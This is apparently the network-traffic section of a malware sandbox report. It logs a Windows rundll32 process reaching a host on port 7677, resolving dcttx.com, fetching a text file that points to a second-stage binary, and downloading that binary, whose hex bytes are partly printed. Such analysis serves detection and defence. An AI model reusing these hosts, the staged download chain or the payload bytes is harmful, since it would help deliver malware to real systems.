Dec 22, 2024 09:30:40.774772882 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:40.884121895 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:41.187731981 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:41.238261938 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:41.295217991 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:41.305105925 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:41.347630978 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:41.425107002 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:41.442307949 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:41.561835051 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:41.566483021 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:41.686115980 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:42.097865105 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:42.149470091 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:42.349984884 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:42.469623089 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:59.099174023 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:59.218640089 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:59.396166086 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:59.515661001 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:59.631720066 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:59.686748981 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:59.861727953 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:59.926510096 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:30:59.977554083 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:30:59.981270075 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:00.050121069 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:00.169543982 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:00.333858967 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:00.453358889 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:00.864976883 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:00.916374922 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:00.952557087 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:01.072144985 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:17.355031013 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:17.474539995 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:17.504853010 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:17.624353886 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:17.897620916 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:17.950242996 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:18.006402969 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:18.125984907 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:18.319916964 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:18.368045092 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:18.413450003 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:18.439620018 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:18.514720917 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:18.634251118 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:18.858803034 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:18.903727055 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:19.002255917 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:19.121787071 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:35.424213886 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:35.543725014 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:35.580521107 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:35.700005054 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:35.966181993 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:36.007374048 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:36.080126047 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:36.119379044 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:36.174563885 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:36.199695110 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:36.266881943 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:36.378093004 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:36.386442900 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:36.497525930 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:37.258836985 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:37.299954891 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:37.420332909 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:37.539927006 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:52.838906050 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:52.958441019 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:52.994940996 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:53.115113974 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:53.714457035 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:53.745491028 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:53.760890007 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:53.805946112 CET	49740	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:53.865091085 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:53.865658998 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:53.917139053 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:53.925827980 CET	7677	49740	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:54.014677048 CET	49739	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:54.134185076 CET	7677	49739	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:54.285800934 CET	7677	49741	45.204.213.99	192.168.2.4
Dec 22, 2024 09:31:54.332468033 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:54.394356966 CET	49741	7677	192.168.2.4	45.204.213.99
Dec 22, 2024 09:31:54.514004946 CET	7677	49741	45.204.213.99	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 22, 2024 09:28:59.828681946 CET	49475	53	192.168.2.4	1.1.1.1
Dec 22, 2024 09:29:00.029417992 CET	53	49475	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 22, 2024 09:28:59.828681946 CET	192.168.2.4	1.1.1.1	0x219	Standard query (0)	dcttx.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 22, 2024 09:29:00.029417992 CET	1.1.1.1	192.168.2.4	0x219	No error (0)	dcttx.com		38.147.186.138	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

dcttx.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	38.147.186.138	443	6204	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:02 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:02 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:02 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:02 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	38.147.186.138	443	6156	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:02 UTC	56	OUT	GET /19/7.txt HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:02 UTC	270	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:02 GMT Content-Type: text/plain Content-Length: 27 Last-Modified: Thu, 19 Dec 2024 15:28:55 GMT Connection: close ETag: "67643bb7-1b" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:02 UTC	27	IN	Data Raw: 68 74 74 70 73 3a 2f 2f 64 63 74 74 78 2e 63 6f 6d 2f 31 39 2f 37 37 2e 62 69 6e Data Ascii: https://dcttx.com/19/77.bin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	38.147.186.138	443	6204	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:04 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:05 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:04 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:05 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: ff ff ff b6 84 00 00 00 e8 1f 71 ff ff ff b6 88 00 00 00 e8 14 71 ff ff ff b6 8c 00 00 00 e8 09 71 ff ff ff b6 90 00 00 00 e8 fe 70 ff ff ff b6 94 00 00 00 e8 f3 70 ff ff ff b6 98 00 00 00 e8 e8 70 ff ff ff b6 9c 00 00 00 e8 dd 70 ff ff ff b6 a0 00 00 00 e8 d2 70 ff ff ff b6 a4 00 00 00 e8 c7 70 ff ff ff b6 a8 00 00 00 e8 bc 70 ff ff ff b6 bc 00 00 00 e8 b1 70 ff ff ff b6 c0 00 00 00 e8 a6 70 ff ff ff b6 c4 00 00 00 e8 9b 70 ff ff ff b6 c8 00 00 00 e8 90 70 ff ff ff b6 cc 00 00 00 e8 85 70 ff ff 83 c4 40 ff b6 d0 00 00 00 e8 77 70 ff ff ff b6 b8 00 00 00 e8 6c 70 ff ff ff b6 d8 00 00 00 e8 61 70 ff ff ff b6 dc 00 00 00 e8 56 70 ff ff ff b6 e0 00 00 00 e8 4b 70 ff ff ff b6 e4 00 00 00 e8 40 70 ff ff ff b6 e8 00 00 00 e8 35 70 ff ff ff b6 ec 00 00 00 e8 2a Data Ascii: qqqpppppppppppp@wplpapVpKp@p5p*
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 75 f8 53 ff 75 14 ff 75 10 ff 75 0c 56 e8 9f fb ff ff 83 c4 20 e8 3c 5b ff ff 83 b8 94 00 00 00 00 74 05 e8 59 84 ff ff 5f 5e 5b c9 c3 8b ff 55 8b ec 56 ff 75 08 8b f1 e8 ca 30 ff ff c7 06 88 77 41 00 8b c6 5e 5d c2 04 00 8b ff 55 8b ec 53 56 57 e8 ff 5a ff ff 83 b8 0c 02 00 00 00 8b 45 18 8b 4d 08 bf 63 73 6d e0 be ff ff ff 1f bb 22 05 93 19 75 20 8b 11 3b d7 74 1a 81 fa 26 00 00 80 74 12 8b 10 23 d6 3b d3 72 0a f6 40 20 01 0f 85 93 00 00 00 f6 41 04 66 74 23 83 78 04 00 0f 84 83 00 00 00 83 7d 1c 00 75 7d 6a ff 50 ff 75 14 ff 75 0c e8 7a f4 ff ff 83 c4 10 eb 6a 83 78 0c 00 75 12 8b 10 23 d6 81 fa 21 05 93 19 72 58 83 78 1c 00 74 52 39 39 75 32 83 79 10 03 72 2c 39 59 14 76 27 8b 51 1c 8b 52 08 85 d2 74 1d 0f b6 75 24 56 ff 75 20 ff 75 1c 50 ff 75 14 ff Data Ascii: uSuuuV <[tY_^[UVu0wA^]USVWZEMcsm"u ;t&t#;r@ Aft#x}u}jPuuzjxu#!rXxtR99u2yr,9Yv'QRtu$Vu uPu
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 00 00 ff ff ff ff b0 40 41 00 00 00 00 00 bb 40 41 00 01 00 00 00 c6 40 41 00 02 00 00 00 d1 40 41 00 03 00 00 00 de 40 41 00 04 00 00 00 ec 40 41 00 05 00 00 00 f9 40 41 00 06 00 00 00 06 41 41 00 07 00 00 00 13 41 41 00 07 00 00 00 1e 41 41 00 09 00 00 00 2c 41 41 00 0a 00 00 00 3a 41 41 00 0b 00 00 00 48 41 41 00 22 05 93 19 0d 00 00 00 e0 7e 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff 80 41 41 00 00 00 00 00 8b 41 41 00 22 05 93 19 02 00 00 00 6c 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff c0 41 41 00 ff ff ff ff cb 41 41 00 22 05 93 19 02 00 00 00 a0 7f 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ff ff ff ff f0 41 41 00 Data Ascii: @A@A@A@A@A@A@AAAAAAA,AA:AAHAA"~AAAAA"lAAAAA"AAA
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-12-22 08:29:05 UTC	9507	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49734	38.147.186.138	443	6156	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-22 08:29:04 UTC	57	OUT	GET /19/77.bin HTTP/1.1 accept: / host: dcttx.com
2024-12-22 08:29:05 UTC	291	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 22 Dec 2024 08:29:04 GMT Content-Type: application/octet-stream Content-Length: 140288 Last-Modified: Thu, 19 Dec 2024 15:27:56 GMT Connection: close ETag: "67643b7c-22400" Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-12-22 08:29:05 UTC	16093	IN	Data Raw: 4d 5a 45 52 e8 00 00 00 00 58 83 e8 09 50 05 00 20 02 00 ff d0 c3 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e2 0c 41 1d a6 6d 2f 4e a6 6d 2f 4e a6 6d 2f 4e c9 1b b1 4e b2 6d 2f 4e c9 1b 85 4e d0 6d 2f 4e c9 1b 84 4e 8a 6d 2f 4e af 15 bc 4e ad 6d 2f 4e a6 6d 2e 4e 29 6d 2f 4e c9 1b 80 4e ab 6d 2f 4e c9 1b b2 4e a7 6d 2f 4e 52 69 63 68 a6 6d 2f 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 74 12 b6 66 00 00 00 00 00 00 00 00 e0 00 02 Data Ascii: MZERXP @!L!This program cannot be run in DOS mode.$Am/Nm/Nm/NNm/NNm/NNm/NNm/Nm.N)m/NNm/NNm/NRichm/NPELtf
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 08 89 4b 04 89 9e 80 01 00 00 ff 86 78 01 00 00 57 89 9e 7c 01 00 00 ff 15 24 50 41 00 b8 01 00 00 00 5f 5b 8b e5 5d c3 b9 01 00 00 00 53 8d be 98 00 00 00 89 4e 30 c7 46 34 03 00 00 00 89 46 38 89 4e 3c e8 5a d5 ff ff 85 c0 75 0d 8b 13 53 50 8b 02 50 ff 15 e4 50 41 00 5f 33 c0 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b f0 ff 15 4c 50 41 00 8b d8 8b 46 64 83 f8 03 0f 84 cf 00 00 00 8d be 5c 01 00 00 57 e8 0b ec ff ff 8b 4e 64 83 f9 01 74 0b 8b 56 64 85 d2 0f 85 aa 00 00 00 c7 46 64 02 00 00 00 c7 07 00 00 00 00 8b c3 e8 b4 01 00 00 8b 46 60 85 c0 74 20 83 7e 3c 00 74 13 8b 4e 40 6a 00 6a 10 68 40 74 41 00 51 ff 15 f4 51 41 00 c7 46 60 00 00 00 00 83 7e 30 00 74 22 8b 56 48 52 e8 7e ec ff ff 8b 46 04 83 c4 04 50 ff 15 38 Data Ascii: KxW\|$PA_[]SN0F4F8N<ZuSPPPA_3[]SVWLPAFd\WNdtVdFdF`t ~<tN@jjh@tAQQAF`~0t"VHR~FP8
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 00 dd 5d f8 dd 45 f8 59 dd 45 08 59 da e9 df e0 f6 c4 44 7a 0e 56 53 e8 18 40 00 00 dd 45 f8 59 59 eb 22 f6 c3 20 75 ed dd 45 f8 53 83 ec 10 dd 5c 24 08 dd 45 08 dd 1c 24 6a 0c 6a 10 e8 9d 3d 00 00 83 c4 1c 5e 5b c9 c3 6a 0c 68 a0 7b 41 00 e8 7e 1f 00 00 6a 0e e8 47 42 00 00 59 83 65 fc 00 8b 75 08 8b 4e 04 85 c9 74 2f a1 b4 ae 41 00 ba b0 ae 41 00 89 45 e4 85 c0 74 11 39 08 75 2c 8b 48 04 89 4a 04 50 e8 a0 f0 ff ff 59 ff 76 04 e8 97 f0 ff ff 59 83 66 04 00 c7 45 fc fe ff ff ff e8 0a 00 00 00 e8 6d 1f 00 00 c3 8b d0 eb c5 6a 0e e8 13 41 00 00 59 c3 cc cc cc cc cc cc cc cc cc cc 8b 54 24 04 8b 4c 24 08 f7 c2 03 00 00 00 75 3c 8b 02 3a 01 75 2e 0a c0 74 26 3a 61 01 75 25 0a e4 74 1d c1 e8 10 3a 41 02 75 19 0a c0 74 11 3a 61 03 75 10 83 c1 04 83 c2 04 0a e4 Data Ascii: ]EYEYDzVS@EYY" uES\$E$jj=^[jh{A~jGBYeuNt/AAEt9u,HJPYvYfEmjAYT$L$u<:u.t&:au%t:Aut:au
2024-12-22 08:29:05 UTC	16384	IN	Data Raw: 07 00 00 83 c4 0c 81 ea fe 03 00 00 8b 45 10 89 10 5d c3 8b ff 55 8b ec 51 9b dd 7d fc 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 dd 7d fc db e2 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 9b d9 7d fc 8b 45 0c 8b 4d 08 23 4d 0c f7 d0 66 23 45 fc 66 0b c1 0f b7 c0 89 45 0c d9 6d 0c 0f bf 45 fc c9 c3 8b ff 55 8b ec 51 51 8a 4d 08 f6 c1 01 74 0a db 2d 30 93 41 00 db 5d 08 9b f6 c1 08 74 10 9b df e0 db 2d 30 93 41 00 dd 5d f8 9b 9b df e0 f6 c1 10 74 0a db 2d 3c 93 41 00 dd 5d f8 9b f6 c1 04 74 09 d9 ee d9 e8 de f1 dd d8 9b f6 c1 20 74 06 d9 eb dd 5d f8 9b c9 c3 6a 08 68 50 7c 41 00 e8 10 df ff ff 33 c0 39 05 dc eb 41 00 74 56 f6 45 08 40 74 48 39 05 48 93 41 00 74 40 89 45 fc 0f ae 55 08 eb 2e 8b 45 ec 8b 00 8b 00 3d 05 00 00 c0 74 0a 3d 1d 00 00 c0 74 03 33 c0 c3 33 c0 40 Data Ascii: E]UQ}EUQ}EUQ}EM#Mf#EfEmEUQQMt-0A]t-0A]t-<A]t t]jhP\|A39AtVE@tH9HAt@EU.E=t=t33@
